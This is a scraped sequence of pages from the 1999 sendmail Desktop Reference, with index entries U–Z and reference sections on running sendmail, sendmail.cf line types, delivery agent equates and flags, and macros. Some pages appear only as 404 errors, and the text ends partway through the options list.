Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: U

u flag : 30.8. Alphabetized F= Flags
U flag : 30.8. Alphabetized F= Flags
U line (host status file) : B.1. Status file lines
$u macro
6.3. The local Delivery Agent
7.3. Predefined Macros
31.10. Alphabetized Reference
$U macro : 31.10. Alphabetized Reference
u option : (see DefaultUser (u) option)
U option : (see UserDatabaseSpec (U) option)
-U switch : 36.7. Alphabetized Reference
U= equate
30.3.1. Tuning Without an Appropriate Keyword
30.4. The Equates
30.8. Alphabetized F= Flags
UDB_DEFAULT_SPEC macro : 18.8. Alphabetized Reference
uid
assume specified : 30.8. Alphabetized F= Flags
running agent as : 30.4. The Equates
uname system call : 18.8. Alphabetized Reference
unavailable resource error : 36.5.9. EX_UNAVAILABLE A Resource
"Unbalanced" warning : 28.1.2. Rules Are Treated Like Addresses
undeliverable addresses
in aliases : 4.1.4. Verify Mode (-bv)
undivert command (m4) : 19.1.4. m4 diversions
uniformity : 18.2. Vendor Versus Compiling
UNIX
error numbers : B.1. Status file lines
exit status : B.1. Status file lines
mailbox file : 3.2.1. Delivery to a Mailbox
UnixFromLine option
31.10. Alphabetized Reference
34.8. Alphabetized Reference
"unknown control line" message : 5.1. Overview
"Unknown host status version" message : B.1. Status file lines
unknown local users : 31.10. Alphabetized Reference
"unknown mailer" error : 29.6. Rule Set 0
unpacking source code
2.1. Get the Source
18.3.1. What's Where in the Source
unqualified
addresses : 16.5. Qualify All Addresses?
names
19.6. Alphabetized m4 Macros
31.10. Alphabetized Reference
unquoted whitespace : 13.2.8. The Unquoted Space Replacement Character
UnsafeGroupWrites option : 34.8. Alphabetized Reference
updating aliases file : 4.1.3. Rebuild Aliases Mode (-bi)
upgrading sendmail : 18.2. Vendor Versus Compiling
use_ct_file feature : 19.6. Alphabetized m4 Macros
use_cw_file feature : 19.6. Alphabetized m4 Macros
UseErrorsTo (l) option : 34.8. Alphabetized Reference
User Database
18.8. Alphabetized Reference
33.5. The User Database
33.8. Alphabetized Reference
34.8. Alphabetized Reference
rewrite : 30.8. Alphabetized F= Flags
user database class : 33.8. Alphabetized Reference
User Database key : 30.8. Alphabetized F= Flags
"User unknown" message : 4.2. Verbose (-v)
UserDatabaseSpec (U) option
18.8. Alphabetized Reference
34.8. Alphabetized Reference
userdb database class : 33.8. Alphabetized Reference
USERDB macro : 18.8. Alphabetized Reference
usernames
capitalization : 30.8. Alphabetized F= Flags
recipient's : (see $u macro)
users
$: operator and
9.2.3. The User ($:)
9.3. Testing Rule Set 0
29.6.1. Further Processing: $:user
30.5.3. The $: Part
33.4.1. Specify a Default with $:
alias delivery to : 24.2.1. Delivery to Users
default identities for
13.2.5. The Default User Identities
22.8.3.1. The DefaultUser option
34.8. Alphabetized Reference
.forward file : 22.5.3. Permissions for ~/.forward Files
groups : 18.8. Alphabetized Reference
including oneself on mailing lists : 34.8. Alphabetized Reference
as LHS of alias : 30.8. Alphabetized F= Flags
local : 31.10. Alphabetized Reference
accepting mail from only : 20.2.1. Accept Mail Only From Our Domain
delivery to
3.2. Role in Local Delivery
19.6. Alphabetized m4 Macros
29.6.3. Delivering to Local Recipient
30.8. Alphabetized F= Flags
mailing list instructions for : 25.5.4. Users Ignore list-request
marked with + : 24.4.3. Plussed Users
passwords : (see passwd file)
recipient of bounced mail : (see $n macro)
running sendmail manually : 1.4. Run sendmail by Hand
semiprivileged : 22.5. Permissions
trusted
14.6. Trusted User
19.6. Alphabetized m4 Macros
22.8.1. Trusted Users
32.5. Alphabetized Reference
trusted users : 5.3.10. Trusted Users
unavailable : (see undeliverable addresses)
verifying with SMTP : 22.3.2. SMTP vrfy and expn
USESETEUID macro : 18.8. Alphabetized Reference
/usr/tmp file : 18.8. Alphabetized Reference
usrerr() : 20.2.1. Accept Mail Only From Our Domain
UUCP
3.3.2. UUCP
8.1.4. UUCP and Host Paths
19.6. Alphabetized m4 Macros
addresses
17.1.4. UUCP Addresses
17.4. Rule Set 4
eliminating support of : 19.6. Alphabetized m4 Macros
$k macro : 31.10. Alphabetized Reference
local handling of : 29.6.5. Handling UUCP Locally
m4 configuration options : 19.4.6. UUCP
macros for repays : 31.10. Alphabetized Reference
UUCP_RELAY macro (m4) : 19.6. Alphabetized m4 Macros
uucpdomain feature : 19.6. Alphabetized m4 Macros
UUCPSMTP macro (m4) : 19.6. Alphabetized m4 Macros
uuencode/uudecode utilities : 22.6. The Aliases File

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: V

V configuration command
5.2.1. Version
27.5. The V Configuration Command
D. Sun Enhancements
-v database switch : 33.3.4.11. -v specify the value's column (V8.7 and above)
V line (host status file) : B.1. Status file lines
V line (qf file) : 23.9. The qf File Internals
$v macro : 31.10. Alphabetized Reference
$V macro : 31.10. Alphabetized Reference
v option : (see Verbose (v) option)
V option : (see FallbackMXhost (V) option)
-v switch (sendmail)
4.2. Verbose (-v)
23.4.1. Printing the Queue in Verbose Mode
23.6.2.2. Combine -v with -q
36.7. Alphabetized Reference
-v switch (makemap) : 33.2.1.6. -v watch keys and data being added
-V switch : 36.7. Alphabetized Reference
V8 sendmail : 29.3.1. V8 Enhancements
comments and : 27.3. V8 Comments
killing and restarting daemon : 4.1.1.1. Kill and restart, beginning with V8.7
m4 preprocessor : 19. V8 m4 Configuration
obtaining source code : 2.1. Get the Source
Sun Microsystem V8.8 enhancements : D. Sun Enhancements
vacation program : 25.5.5. Precedence: bulk
/var/yp/Makefile file : 7.3.1. The hostname
variables
environment
5.3.12. Environment variables
22.2. The Environment
global : 20.1.2. Global Variables
vendor, sendmail
18.2. Vendor Versus Compiling
27.5.1. The vendor
(see also version)
VERB command (SMTP) : 30.8. Alphabetized F= Flags
Verbose (v) option
34.1.3. Appropriateness of Options
34.8. Alphabetized Reference
Verbose mode
4.2. Verbose (-v)
23.4.1. Printing the Queue in Verbose Mode
23.6.2.2. Combine -v with -q
34.8. Alphabetized Reference
36.7. Alphabetized Reference
verify mode
4.1.4. Verify Mode (-bv)
36.7. Alphabetized Reference
verifying : (see testing)
version
5.2.1. Version
(see also V configuration command)
BIND : 21.1.1. Which DNS? 4.8.3 or 4.9?
host status file : B.1. Status file lines
m4 : 19.2. Build with m4
m4 configuration : 31.10. Alphabetized Reference
mc files : 19.6. Alphabetized m4 Macros
qf file : 23.9. The qf File Internals
sendmail
UNIX and sendmail Versions
5.2.1. Version
18.2. Vendor Versus Compiling
27.5. The V Configuration Command
31.10. Alphabetized Reference
D.2. Backward Compatibility
V configuration command : D. Sun Enhancements
VERSIONID macro (m4) : 19.6. Alphabetized m4 Macros
"Via:" header line : 35.10. Alphabetized Reference
virtusertable feature : 19.6. Alphabetized m4 Macros
VRFY command (SMTP)
22.3.2. SMTP vrfy and expn
22.8.3.5. The PrivacyOptions option
30.8. Alphabetized F= Flags

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: W

w class
15.4. Hub Accepts Mail for Client
17.2.1. Is the Host Local?
29.6.3. Delivering to Local Recipient
32.5. Alphabetized Reference
w flag : 30.8. Alphabetized F= Flags
$w macro
7.3.1. The hostname
11.6. Handling user@thishost
21.2.1. Determine the Local Canonical Name
31.10. Alphabetized Reference
$W macro : 31.10. Alphabetized Reference
w option : (see TryNullMXList (w) option)
warning messages
26.1. Logging with syslog
(see also logging)
ERRLIST_PREDEFINED macro : 18.8. Alphabetized Reference
-f switch and : 14.6. Trusted User
severity level
26.1.1. syslog(3)
26.1.2. Tuning syslog.conf
whitespace
blank line at message end : 30.8. Alphabetized F= Flags
continuation lines : 27.4. Continuation Lines
in macros
7.1. Overview
31.3.2. Syntax of the Configuration File Macro's Text
old-style address lists : 13.2.7. Accept Old-Style Lists of Addresses
in recipient lists : 34.8. Alphabetized Reference
replacement character for space
13.2.8. The Unquoted Space Replacement Character
34.8. Alphabetized Reference
replacing in database keys : 33.3.4.10. -s space replacement character (V8.7 and above)
in sendmail.cf file : 27.2. Comments
space character : 28.2.2. The Space Character Is Special
stripping newlines from "From:" headers : 34.8. Alphabetized Reference
wildcard MX records : 21.3.4. Wildcard MX Records
wildcard operators
8.7. Wildcard Operators
8.7.3. More Play with LHS Matching
28.2.1. $ Operators Are Tokens
28.5. The LHS
28.6. The RHS
(see also $ operators)
positional operators
9.2.3. The User ($:)
28.6.1. Copy by Position: $digit
WILDCARD_SHELL macro : 18.8. Alphabetized Reference
wordinclass() : 20.3. Alphabetized V8.8 Subroutines
workspace
8.5. The Workspace
28.3. The Workspace
tokenizing : (see tokenization)
wrapper package, TCP : 22.4.1. Accept/Reject Connections via libwrap.a
write permission : (see permissions)

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: X

x flag
14.2.1. The Full-Name: Header
30.8. Alphabetized F= Flags
X flag : 30.8. Alphabetized F= Flags
$x macro : 31.10. Alphabetized Reference
$X macro : 31.10. Alphabetized Reference
x option : (see QueueLA (x) option)
X option : (see RefuseLA (X) option)
-x switch : 36.7. Alphabetized Reference
-X switch
26.4. Log Transactions with -X
36.7. Alphabetized Reference
X, with mail queue listing : 23.4. Printing the Queue
"X-Authentication-Warning:" header line
14.6. Trusted User
22.8.1.1. Declare trusted users (not V8.1 through V8.6)
35.10. Alphabetized Reference
X.400 addresses
25.5.6. X.400 Addresses
31.10. Alphabetized Reference
"X400-Received:" header line : 35.10. Alphabetized Reference
XDEBUG macro : 18.8. Alphabetized Reference
xdelay= equate (syslog output) : 26.1.3.13. xdelay= transaction
xf file : 23.2.7. The Transcript File: xf

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Y

$y macro
18.8. Alphabetized Reference
31.10. Alphabetized Reference
$Y macro : 31.10. Alphabetized Reference
y option : (see RecipientFactor (y) option)
Y option : (see ForkEachJob (Y) option)

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Z

-z database switch : 33.3.4.12. -z specify the column delimiter (V8.7 and above)
Z line (qf file) : 23.9. The qf File Internals
$z macro : 31.10. Alphabetized Reference
$Z macro : 31.10. Alphabetized Reference
z option : (see ClassFactor (z) option)
Z option : (see RetryFactor (Z) option)
Zmailer : 18.1. To Use or Not to Use

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


[Chapter 1] How to Run

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: Conventions Chapter 1 Next: 1.2 Command-Line Switches

1. How to Run

Contents:
Alternative Names for sendmail
Command-Line Switches
Some Handy Debugging Switches
Rule-Testing Mode (-bt) Commands
Hints

The sendmail program is run by specifying its name followed by command-line switches, then recipient addresses. Some command-line switches cause sendmail to ignore its recipients, while others require their presence. One switch, -bt, places sendmail into interactive, rule-testing mode.

1.1 Alternative Names for sendmail

hoststat

Prints persistent host status information (see §36.1.1).

mailq

Prints the queue's contents (see §36.1.2).

newaliases

Rebuilds the aliases database file or files (see §36.1.3).

purgestat

Purges (zeroes) persistent host status information (see §36.1.4).

smtpd

Runs in daemon mode (see §36.1.5).

Previous: Conventions | sendmail Desktop Reference | Next: 1.2 Command-Line Switches
Conventions |  | 1.2 Command-Line Switches


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/smdref/ch01_02.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/smdref/ch01_03.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/smdref/ch01_04.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Chapter 1] 1.5 Hints

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 1.4 Rule-Testing Mode (-bt) Commands Chapter 1
How to Run 		Next: 2. The sendmail.cf File

1.5 Hints

/usr/lib/sendmail -bv list | grep -v deliverable

Causes sendmail to recursively expand the addresses in the mailing list named list. The -v with grep(1) causes all good (deliverable) addresses to be excluded and only bad addresses to be printed.

/usr/lib/sendmail -bt -d0.4 </dev/null

Causes sendmail to print its version, the #defines used when it was compiled, and how it is interpreting the identity of the local machine.

mailq -OMaxQueueRunSize=1

Allows sendmail to quickly print how many messages are queued even when the queue contains thousands of messages.

/usr/lib/sendmail -q -OTimeout.queuereturn=99d

Flushes messages from an old queue (perhaps following a prolonged downtime) while preventing old messages from timing out in the queue.

Previous: 1.4 Rule-Testing Mode (-bt) Commands | sendmail Desktop Reference | Next: 2. The sendmail.cf File
1.4 Rule-Testing Mode (-bt) Commands |  | 2. The sendmail.cf File


[Chapter 2] The sendmail.cf File

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 1.5 Hints Chapter 2 Next: 2.2 Delivery Agent Equates

2. The sendmail.cf File

Contents:
Overview
Delivery Agent Equates
Delivery Agent F= Flags
Defined Macros
Class Macros
Options
The Timeout Option
Rule Sets
Delivery Agent S= and R=
The check_ Rule Sets
Rules
Wildcard Operators in the LHS
Positional Operators in the RHS
Other Operators in the RHS
Operators that Return a Triple
Conditional Operators
Hints

The sendmail configuration file, usually called sendmail.cf, provides all the central information that controls the sendmail program's behavior. It lists the location of all the other files sendmail needs to access and the location of all the directories in which sendmail needs to create and remove files. It sets the definitions sendmail uses when rewriting addresses. It defines the rules and sets of rules sendmail uses for transforming mail addresses (and aliases for those addresses) into usable information, such as which delivery agent to use and the correct form of the address to use with that delivery agent.

2.1 Overview

Each line in the configuration files begins with a key character that defines the function of that line. Any character other than those shown here is an error.

#

Begins a comment line (the entire line is ignored).

tab

Continues the previous line.

space

Continues the previous line.

C w localhost

Adds localhost to class w (see §32.5.8).

C{GuestDomains} guest.com visit.com

Adds guest.com and visit.com to the multi-character class named {GuestDomains} (see §32.1.1).

D m our.domain

Defines macro m with the value our.domain (see §31.10.24).

D{OurOldDomain}old.domain

Defines multi-character macro name {OurOldDomain} with the value old.domain (see §31.3).

E HOME=/u/mail

Assigns value /u/mail to the environmental variable HOME. (Such assignments are only available to delivery agents that sendmail executes.) (See 22.2.1.)

E USER

Imports the value of USER from the environment and makes it available to delivery agents.

F w /etc/sendmail.cw

Fills the class w with values read from the /etc/sendmail.cw file (see §19.6.26).

F k |/usr/sbin/showuu

Runs the program /usr/sbin/showuu and fills the class k with values printed by that program. (see §32.5.2).

H Date: $a

Defines the Date: header with the value $a (see §35.10.10).

H?P?Return-Path: <$g>

Defines the Return-Path: header with the value <$g>. This header will only be output if the P in ?P? appears in the delivery agent's F= equate (see §35.4).

K uid text -z: -k2 -v0 /etc/passwd

Declares a database named uid to be of class text, which will look up keys in the flat file named /etc/passwd (see §33.8.18). The -z:, -k2, and -v0 say that /etc/passwd has colon-delimited fields, that the key will be in the index 2 field, and the value in the index 0 field, thus converting uid values to login names, see §33.3.4.12).

M name, equate=value, ...

Declares a mail delivery agent. The name is the symbolic name for this agent. The items in the equate list are described in the next section, "Delivery Agent Equates."

O MaxQueueRunSize=100

Gives the option MaxQueueRunSize the value 100 (see §34.8.38). Note that there must be a space between the O and the option name. Options are summarized later in this chapter.

O J/var/forward/$u:$z/.forward

Uses the old single-character name J to define the ForwardPath option (see §34.8.27).

P bulk=-60

Associates the symbolic name bulk with a delivery priority of -60. These symbolic names are compared to the Precedence: header (if one) during delivery, and used to begin a message's priority in the queue (see §35.8).

RLHS tabs RHS [tabs COMMENT ]

Defines a rewriting rule (do-while clause) where the RHS rewrites an address while the LHS comparison evaluates to true. The LHS and RHS must be separated by one or more tab characters. Optional tabs and a COMMENT may follow and are not part of the rewriting rule (see §28.1).

S name[=val]

Declares a rule-set start to have the name name (where name is either a number or is symbolic text). When name is symbolic, an optional numeric value val may be assigned to it (see §29.1).

T bob jane

Declares that the users bob and jane are "trusted" and may use the -f command-line switch to precondition the sender identity. Users who are not trusted and who use the -f switch cause a warning to be included in the outgoing mail headers (see §22.8.1).

V 7/Berkeley

Specifies the version of the configuration file to be 7. An optional slash and a vendor identifier may follow, as /Berkeley (see §27.5).

Previous: 1.5 Hints | sendmail Desktop Reference | Next: 2.2 Delivery Agent Equates
1.5 Hints |  | 2.2 Delivery Agent Equates


[Chapter 2] 2.2 Delivery Agent Equates

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 2.1 Overview Chapter 2
The sendmail.cf File 		Next: 2.3 Delivery Agent F= Flags

2.2 Delivery Agent Equates

The general form of a delivery agent's declaration looks like this:

Mname, equate=val, ...

In this section we list and describe each equate, where only the first letter of each is recognized (that is, Argv= is the same as A=).

A=argv0 argv1 ...

Lists the delivery agent's command-line arguments. The delivery agent speaks SMTP only if $u is absent from those arguments. The special symbolic argv0 names IPC and LPC reference internal sendmail code.

C=ISO-8859-1

Uses the ISO-8859-1 character set in the MIME Content-Type: header (see §30.4.2). Applies to messages received from this delivery agent. Supersedes the DefaultCharSet option.

D=/var/run:/tmp

Sets the paths for execution of the prog delivery agent to /var/run first, and if it cannot chdir(2) into that directory, then to /tmp (see §30.4.3).

E=\r

Specifies the end-of-line characters to be a carriage-return newline pair. Those characters are generated by sendmail for outgoing messages and recognized by sendmail for incoming messages. The default is \r\n for SMTP and \n otherwise (see §30.4.4).

F=flags

Lists flags that describe a delivery agent's behavior (fully listed in the next section, "Delivery Agent F= Flags").

L=512

Limits the length of text lines in the body of a mail message to 512 characters (see §30.4.6).

M=1000000

Limits the total size (header and body combined) of messages handled by the delivery agent to one million characters.

N=5

Says to re-nice(2) the delivery agent by 5 (see §30.4.8).

P=/usr/bin/uux

Says to execute /usr/bin/uux as the delivery-agent program (see §30.4.9). Special symbolic paths can also be used: [IPC] makes a network connection and speaks SMTP; [FILE] appends the message to a file; and [LPC] is useful for tracking down mail problems.

R=rset or R=eset/hset

Lists the rewriting rule set names or numbers for the recipient. A single name or number is applied to both envelope and header rewriting. Two names or numbers, separated by a slash, applies the leftmost to the envelope and the rightmost to headers (see §30.4.10).

S=rset or R=eset/hset

Lists the rewriting rule set names or numbers for the sender. Particulars are the same as for R= above (see §30.4.11).

T=DNS/RFC822/X-Unix

Sets the type tags used in the DSN diagnostic returns for this delivery agent. The type tag for the Reporting-MTA: field is DNS; the type tag for the Final-Recipient: field is RFC822; and the type tag for the Diagnostic-Code: field is X-Unix (see §30.4.12).

U=nullmail:nullgroup

Specifies that sendmail should become the user nullmail and the group nullgroup before executing the delivery agent. If the :nullgroup is omitted, it is found in the passwd(5) file entry for nullmail (see §30.4.13).

Previous: 2.1 Overview | sendmail Desktop Reference | Next: 2.3 Delivery Agent F= Flags
2.1 Overview |  | 2.3 Delivery Agent F= Flags


[Chapter 2] 2.3 Delivery Agent F= Flags

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 2.2 Delivery Agent Equates Chapter 2
The sendmail.cf File 		Next: 2.4 Defined Macros

2.3 Delivery Agent F= Flags

F=0

Turns off MX lookups for this delivery agent (see §30.8.1).

F=3

Extends quoted-printable conversions to encode ASCII characters that cannot be represented in EBCDIC (see §30.8.2).

F=5

Uses rule set 5 after local aliasing (see §30.8.3).

F=7

Strips the high bit when delivering (see §30.8.4).

F=8

Forces EightBitMode=p for this delivery agent (see §30.8.5).

F=:

Checks for :include: files (see §30.8.7).

F=|

Checks for |program addresses (see §30.8.8).

F=/

Checks for /file addresses (see §30.8.9).

F=@

Allows users to be looked up in the User Database (see §30.8.10).

F=a

Runs the extended SMTP protocol (see §30.8.11).

F=A

Allows users to be in the LHS of an alias (see §30.8.12).

F=b

Ensures a blank line after message (see §30.8.13).

F=c

Excludes comment from $g in headers (see §30.8.14).

F=C

Adds @domain to recipient that lacks one (see §30.8.15). Applies to the sending delivery agent only.

F=d

Never encloses route addresses in <> (see §30.8.16).

F=D

Specifies the need for a Date: header (see §30.8.17).

F=e

Marks this delivery agent as "expensive" (see §30.8.18).

F=E

Changes any extra lines that begin in "From" into ">From" (see §30.8.19).

F=f

Causes delivery agent to add -f to argv (see §30.8.20).

F=F

Specifies the need for a From: header (see §30.8.21).

F=g

Suppresses sending of From:<> senders in bounce messages (see §30.8.22).

F=h

Preserves uppercase in hostnames (see §30.8.23).

F=i

Specifies to perform a User Database rewrite on the envelope sender (see §30.8.24).

F=I

Causes delivery agent to send SMTP VERB to the other site (see §30.8.25).

F=j

Specifies to perform a User Database rewrite of header recipient addresses (see §30.8.26).

F=k

Suppresses check for loops in HELO command (see §30.8.27).

F=l

Specifies that delivery agent is local (final) delivery (see §30.8.28).

F=L

Causes SMTP line limits to be applied (obsolete, see §30.8.29).

F=m

Says that the delivery agent can deliver to multiple recipients at once (see §30.8.30).

F=M

Specifies the need for a Message-ID: header (see §30.8.31).

F=n

Prevents the addition of a UNIX mailbox-style From to headers (see §30.8.32).

F=o

Runs the delivery agent under the uid and gid of the recipient (see §30.8.33).

F=p

Attempts to process the return path correctly (deprecated, see §30.8.34).

F=P

Specifies the need for a Return-Path: header (see §30.8.35).

F=q

Says to use a 252 instead of a 250 return code for an SMTP VRFY reply (see §30.8.36).

F=r

Causes the delivery agent to add a -r to argv (see §30.8.37).

F=R

Tells sendmail to use a reserved TCP port (see §30.8.38).

F=s

Causes quotation marks to be stripped from addresses (see §30.8.39).

F=S

Always run the delivery agent under a uid and gid specified (see §30.8.40).

F=u

Preserves uppercase for user names (see §30.8.41).

F=U

Prepends a UUCP-style From line (see §30.8.42).

F=w

Verifies that the user is local by checking for an /etc/passwd entry (see §30.8.43).

F=x

Specifies that the delivery agent requires a Full-Name: header (see §30.8.44).

F=X

Specifies that the delivery agent needs an RFC821 hidden dot (see §30.8.45).

Previous: 2.2 Delivery Agent Equates | sendmail Desktop Reference | Next: 2.4 Defined Macros
2.2 Delivery Agent Equates |  | 2.4 Defined Macros


[Chapter 2] 2.4 Defined Macros

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 2.3 Delivery Agent F= Flags Chapter 2
The sendmail.cf File 		Next: 2.5 Class Macros

2.4 Defined Macros

Defined macros allow strings of text to be represented symbolically. A defined macro is one whose symbol represents a single string.

DXstring

The symbolic name (here X) is either a single letter or a multi-character name. If multi-character, it must be surrounded by curly braces:

D{XXX}string

The value in a defined macro is referenced by prefixing its name with a $. Because defined macros in rules are expanded when the configuration file is read, a $& prefix can be used when deferred expansion is desired.

The sendmail program reserves all macros but those beginning with an uppercase letter for its own internal use. Since the m4 configuration technique is not internal (to the program), it uses uppercase macro names. Here we show the internal macros currently used by sendmail and the external macros currently used by the m4 technique.

$_

Holds the RFC1413-validation text, and any IP source route information that was found (see §31.10.1).

$a

Contains the origin date in RFC822 format (see §31.10.2).

$b

Contains the current date in RFC822 format (see §31.10.3).

${bodytype}

Contains the ESMTP BODY parameter for the current message (see §31.10.4).

$B

Specifies the BITNET relay (see §31.10.5). This macro can be set using the m4 technique by defining BITNET_RELAY.

$c

Contains the current hop count (see §31.10.6).

${client_addr}

Stores the current connecting host's IP address (see §31.10.7).

${client_name}

Stores the current connecting host's canonical name (see §31.10.8).

$C

Specifies the hostname of the DECnet relay (see §31.10.9). This macro can be set using the m4 technique by defining DECNET_RELAY.

$d

Contains the current date in UNIX ctime(3) format (see §31.10.10).

${envid}

Holds the original DSN envelope ID (see §31.10.12).

$E

Specifies the X.400 relay (unused, see §31.10.13).

$f

Contains the current sender's (the From:) address (see §31.10.14).

$F

Specifies the FAX relay (see §31.10.15). This macro can be set using the m4 technique by defining FAX_RELAY.

$g

Contains the current sender's address relative to the recipient (see §31.10.16).

$h

Contains the host part of the current recipient address (see §31.10.17).

$H

Specifies the mail hub (see §31.10.18). This macro can be set using the m4 technique by defining MAIL_HUB.

$i

Contains the queue identifier for the current message (see §31.10.19).

$j

Holds the official canonical name of the local machine (see §31.10.20). This macro can be set using the m4 technique by defining confDOMAIN_NAME.

$k

Holds the UUCP name of the local machine (see §31.10.21).

$L

Specifies the "local user" relay (see §31.10.23). This macro can be set using the m4 technique by defining LUSER_RELAY.

$m

Holds the official domain name for the local machine (see §31.10.24).

$M

Specifies who we are masquerading as (see §31.10.25). This macro can be set using the m4 technique using the MASQUERADE_AS construct.

$n

Specifies whom error messages should be from (see §31.10.26). This macro can be set using the m4 technique by defining confMAILER_NAME.

${opMode}

Contains the operating mode that sendmail started in (see §31.10.28).

$p

Contains the current sendmail process' pid (see §31.10.29).

$r

Contains the protocol used to receive the current message (see §31.10.31).

$R

Specifies the relay for user names that lack an @host.domain part (see §31.10.32). This macro can be set using the m4 technique by defining LOCAL_RELAY.

$s

Contains the current sender host's name (see §31.10.33).

$S

Specifies the Smart Host (see §31.10.34). This macro can be set using the m4 technique by defining SMART_HOST.

$t

Contains the current time in seconds (see §31.10.35).

$u

Contains the current recipient's user name (can be auto-replicated in the A= equate of a delivery agent if F=m is present) (see §31.10.36).

$U

Specifies the UUCP name to override $k (see §31.10.37).

$v

Holds the sendmail program's version (see §31.10.38).

$V

Specifies the UUCP relay (for the class $=V) (see §31.10.39).

$w

Holds the short name of the local host (see §31.10.40).

$W

Specifies the UUCP relay (for the class $=W) (see §31.10.41).

$x

Contains the "full name" of the current sender (see §31.10.42).

$X

Specifies the UUCP relay (for the class $=X) (see §31.10.43).

$y

Holds the name of the controlling tty (see §31.10.44).

$Y

Specifies the UUCP relay for unclassified hosts (see §31.10.45).

$z

Contains the current recipient's home directory (see §31.10.46).

$Z

Specifies the version of this m4 configuration (see §31.10.47). This macro can be appended to using the m4 technique by defining confCF_VERSION.

Previous: 2.3 Delivery Agent F= Flags | sendmail Desktop Reference | Next: 2.5 Class Macros
2.3 Delivery Agent F= Flags |  | 2.5 Class Macros


[Chapter 2] 2.5 Class Macros

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 2.4 Defined Macros Chapter 2
The sendmail.cf File 		Next: 2.6 Options

2.5 Class Macros

A class macro is one whose symbol can represent multiple words. Those words can be declared in the configuration line or read from an external file or from the output of an executed program.

CXword word ...
FX /file
FX |program

The symbolic name (here X) is either a single letter or a multi-character name. If multi-character, it must be surrounded by curly braces:

C{XXX}word word ...
F{XXX} /file
F{XXX} |program

The sendmail program reserves all but class names that begin with an uppercase letter for its own internal use. Class macros are usable only in the LHS of rules. A $= prefix matches a token to any word in the class. A $~ prefix matches if the token is not in the class.

$=e

Determines whether or not a Content-Transfer-Encoding: type will be quoted-printable encoded. The default contents for this class are 7bit, 8bit, and binary (see §32.5.1).

$=k

Lists the UUCP names of the local host (see §32.5.2).

$=m

Lists all the known domain names for the local host. Available to rule sets but not currently used by the m4 technique (see §32.5.3).

$=n

Determines the Content-Type: headers that are prevented from being converted from 8- to 7-bits. The default content for this class is %multipart/signed (see §32.5.4).

$=q

Determines the Content-Type: headers that should not be converted from from 8- to 7-bits with base64 encoding. By default this class is empty (see §32.5.5).

$=s

Lists Content-Type: header message subtypes that should be treated the same as rfc822. By default this list contains only rfc822 (see §32.5.6).

$=t

Lists "trusted" users who may specify an alternative sender with the -f command-line switch (see §32.5.7).

$=w

Lists all the hostnames by which the local host can be known. Either found by sendmail at startup, or declared in the configuration file, or listed in the sendmail.cw file (see §32.5.8).

Previous: 2.4 Defined Macros | sendmail Desktop Reference | Next: 2.6 Options
2.4 Defined Macros |  | 2.6 Options


[Chapter 2] 2.6 Options

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 2.5 Class Macros Chapter 2
The sendmail.cf File 		Next: 2.7 The Timeout Option

2.6 Options

Options determine most of the sendmail program's behavior. They are declared on the command line with the -O switch:

-Oname=value

and in the configuration file with the O line:

O name=value

The space following the O is mandatory. Prior to V8.7 sendmail, option names could be only a single character. Beginning with V8.7, option names can be multi-character. Where appropriate, the old form is listed parenthetically after the new form.

True/False options, when absent, default to false, but when present with no value, default to true. Options marked as "(safe)" can be specified on the command line without giving up root privileges.

AliasFile=file[,file, ...]

Defines the location (and optionally the type as type:file) of the aliases file or files. (Was the A option, see §34.8.1, or define ALIAS_FILE with the m4 technique.)

AliasWait=interval

Specifies the interval sendmail will wait for the aliases database to rebuild. (Was the a option, see §34.8.2, or define confALIAS_WAIT with the m4 technique.)

AllowBogusHELO=[True|False]

(safe) allows sendmail to accept an SMTP HELO or EHLO that is not followed by a hostname (see §34.8.3).

AutoRebuildAliases=[True|False]

Allows sendmail to automatically rebuild the aliases database. (Was the D option, see §34.8.4, or define confAUTO_REBUILD with the m4 technique.)

BlankSub=char

